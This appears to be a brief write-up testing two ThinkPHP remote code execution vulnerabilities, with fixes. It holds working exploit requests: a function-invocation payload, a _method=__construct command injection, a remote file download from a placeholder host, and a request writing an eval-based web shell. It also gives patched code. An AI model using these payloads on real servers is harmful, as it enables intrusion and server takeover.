Since ThinkPHP released the vulnerability patch, the server has been scanned countless times for vulnerabilities to capture zombies.
Even though the official patch has been released, I still want to test the TP vulnerability and test two vulnerabilities.
<!-- GET -->http://127.0.0.1/ThinkPHP/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
Due to the lack of explicit detection of the controller name and in the absence of enabling forced routing, phpinfo() can be executed directly. If the server does not restrict the execution of functions such as shell, shell escalation can be executed directly.
Add regular expressions to limit the controller name
/* /thinkphp/library/think/App.php line 555 add */
if (!preg_match('/^[A-Za-z](\w)*$/', $controller)) {
throw new HttpException(404, 'controller not exists:' . $controller);
}
<!-- POST -->http://127.0.0.1/ThinkPHP/index.php?s=captcha
<!-- Headers -->Content-Type:application/x-www-form-urlencoded
<!-- Body -->_method=__construct&filter[]=system&method=GET&get[]=dir
Trigger condition
//Config.php
'var_method' => '_method'
Use the $_POST['_method'] variable to pass the actual request method. When $_POST['_method']=__construct, the method of the Request class will override the class variables using the filter variable and execute any command when internal parameter filtering is performed.
This can directly upload a PHP file test.php
<!-- POST -->http://127.0.0.1/ThinkPHP/index.php?s=captcha&fileDown=copy("http://xxx/1.txt","test.php")
<!-- Headers -->Content-Type:application/x-www-form-urlencoded
<!-- Body -->_method=__construct&filter=assert&method=get&server[REQUEST_METHOD]=fileDown
Generate a web shell
<!-- POST -->http://127.0.0.1/ThinkPHP/index.php?s=captcha&T=echo+^<?php+phpinfo();eval($_POST[cmd]);?^>+>>info.php
<!-- Headers -->Content-Type:application/x-www-form-urlencoded
<!-- Body -->_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=123
In config.php, the _method can be set as the other characters, or upgrade TP
The official patch limits the suspicious request methods set by _method and unsets it after processing _method, preventing the further use of __construct for variable overrides
/* thinkphp/library/think/Request.php */
public function method($method = false)
{
if (true === $method) {
// Get the original request type
return IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);
} elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
$method = strtoupper($_POST[Config::get('var_method')]);
if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) {
$this->method = $method;
$this->{$this->method}($_POST);
} else {
$this->method = 'POST';
}
unset($_POST[Config::get('var_method')]); //unset
} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
} else {
$this->method = IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);
}
}
return $this->method;
}